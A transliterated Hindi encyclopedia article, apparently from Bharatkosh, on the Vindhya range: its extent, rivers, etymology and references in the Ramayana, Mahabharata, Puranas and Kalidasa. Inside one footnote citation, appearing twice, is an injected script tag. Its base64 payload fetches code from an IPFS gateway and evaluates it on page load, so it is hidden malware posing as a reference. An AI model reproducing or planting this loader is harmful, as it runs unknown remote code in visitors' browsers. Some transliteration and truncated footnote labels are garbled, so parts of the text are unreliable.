विन्ध्याचल पर्वत

	vindhyachal parvat
	vindhyachal parvat\|200px\|center
vivaran	'vindhyachal parvat shrriankhala' bharat ke pashchim-madhy mean sthit prachin golakar parvatoan ki shrriankhala hai, jo bharat upakhand ko uttari bharat v dakshini bharat mean baantati hai.
desh	bharat
rajy	uttar pradesh, madhy pradesh, gujarat, bihar
uchchatam bindu	amarakantak
vistar	lagabhag 1,086 ki.mi. tak vistrit.
nadiyaan	chanbal, betava, ken aur tons, tamasa, kali siandh, son, parvati.
any janakari	vindhyachal parvat shrriankhala ka pashchimi aant gujarat mean poorv mean vartaman rajasthan v madhy pradesh ki simaoan ke najadik hai. yah shrriankhala bharat ke madhy se hote hue poorv v uttar se hote hue mirzapur mean ganga nadi tak jati hai.

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vindhyachal parvat ya vindhyan parvatashreni paha diyoan ki tooti-phooti shrriankhala hai, jo bharat ki madhyavarti uchch bhoomi ka dakshini kagar banati hai. pashchim mean gujarat se lagabhag 1,086 ki.mi. tak vistrit yah shreni madhy pradesh ko par kar varanasi (banaras) ki ganga nadi ghati se milati hai. vindhyachal parvat malava pathar ka dakshini chhor banate haian aur isake bad do shakhaoan mean bant jate haian- kaimoor shreni, jo son nadi ke uttar se pashchimi bihar rajy tak phaili hai tatha dakshini shakha, jo son aur narmada nadi ke oopari kshetr ke bich maikal shreni (ya amarakantak pathar) mean satapu da parvatashreni se milati hai. malava pathar ke dakshin se arambh hokar yah shreni poorv ki or madhy pradesh tak vistrit haian. yah bharat ko dakshin bharat se alag karati hai.

viandhy shabd ki vyutpatti

'viandhy' shabd ki vyutpatti 'vidhh' dhatu^[1] se kahi jati hai. bhoomi ko bedh kar yah parvatamala bharat ke madhy mean sthit hai. yahi mool kalpana is nam mean nihit jan p dati hai. viandhy ki ganana saptakul parvatoan mean hai. viandhy ka nam poorv vaidik sahity mean nahian hai.

pauranik ullekh

valmiki ramayan, kishkiandha kand^[2] mean viandhy ka ullekh 'sanpati' namak gridhraraj ne is prakar kiya hai-

‘asy viandhasy shikhare patitoasmi puranady sooryatapaparitaango nidagdhah sooryarashmibhiah, tatastu sagarashailannadiah sarvaah saraansi ch, vanani ch pradeshaanshch nirikshy matiragata hrishtapakshiganakirnah kandaradarakootavanh dakshinasyodadhestire viandhyoayamiti nishchitah.'

mahabharat, bhishmaparv^[3]mean viandhy ko kulaparvatoan ki shreni mean pariganit kiya gaya hai.^[4]
'shrimadbhagavat'^[5] meanan bhi viandhy ka namollekh hai-

‘varidharo viandhyaah shuktimanrikshagiri pariyatro dronashchitrakooto govardhano raivatakah.'

kalidas ne kush ki rajadhani kushavati ko viandhy ke dakshin mean bataya hai. kushavati ko chho dakar ayodhya vapis ate samay kush ne viandhy ko par kiya tha-

‘vyalannghayadvindhyamupayanani pashyanmulindairupapaditani.'^[6]

vishnupuran^[7] mean narmada aur surasa adi nadiyoan ko viandhy parvat se udbhoot bataya gaya hai-

‘narmada surasadyashch nadyo viandhyadvinirgataah.'

puranoan ke prasiddh adhyeta parjitar ke anusar^[8] markandey puran^[9] mean jin nadiyoan aur parvatoan ke nam haian, unake parikshan se soochit hota hai ki prachin kal mean viandhy, vartaman viandhyachal ke poorvi bhag ka hi nam tha, jisaka vistar narmada ke uttar ki or bhoopal se lekar dakshin bihar tak tha. isake pashchimi bhag aur aravali ki paha diyoan ka sanyukt nam paripatr^[10] tha.
pauranik kathaoan se soochit hota hai ki viandhyachal ko par karake agatsy rrishi sarvapratham dakshin disha ge the aur vahaan jakar unhoanne ary sanskriti ka prachar kiya tha.^[11]

nadiyaan

450 mitar se 1100 mitar ooanchaee par viandhy shreni se ganga-yamuna pranali ki mukhy dakshini sahayak nadiyaan nikalati haian, jinamean chanbal, betava, ken aur tons shamil haian. apani samataliy balua patthar sanrachana ke karan ye parvat samatal shikhar yukt aur pathar jaise lagate haian. doosari shatabdi ke yoonani bhoogolavetta t aaulmi ne is shreni ko uttari aur pray:dvip bharat ke bich sima mana tha. isake adhikaansh parvat choona patthar se nirmit haian. in shreniyoan mean bahumooly hire yukt ek bhranshiy parvat bhi haian.^[4]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ bedhan karana
↑ kishkiandha kand 60, 4-6
↑ bhishmaparv 9, 11
↑ ^4.0 ^4.1 aitihasik sthanavali |lekhak: vijayendr kumar mathur |prakashak: rajasthan hindi granth akadami, jayapur |sankalan: bharatakosh pustakalay |prishth sankhya: 848 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ shrimadbhagavat 5, 19 16
↑ raghuvansh 16, 32
↑ vishnupuran 3,11
↑ jarnal aauv di rayal eshiyatik sosayati 1894, pri. 258
↑ markandey puran 57
↑ =pariyatr
↑ brahmapuran-‘agastayo dakshinamashamashritay nabhasi sthitah, varunasyatmajo yogi viandhyavatapimardanah

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] rana

[2] shkiandha kand 60, 4-6

[3] shmaparv 9, 11

[aa-4] 4.0 ^4.1 aitihasik sthanavali |lekhak: vijayendr kumar mathur |prakashak: rajasthan hindi granth akadami, jayapur |sankalan: bharatakosh pustakalay |prishth sankhya: 848 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[5] shrimadbhagavat 5, 19 16

[6] raghuvansh 16, 32

[7] vishnupuran 3,11

[8] rnal aauv di rayal eshiyatik sosayati 1894, pri. 258

[9] rkandey puran 57

[10] =pariyatr

[11] rahmapuran-‘agastayo dakshinamashamashritay nabhasi sthitah, varunasyatmajo yogi viandhyavatapimardanah

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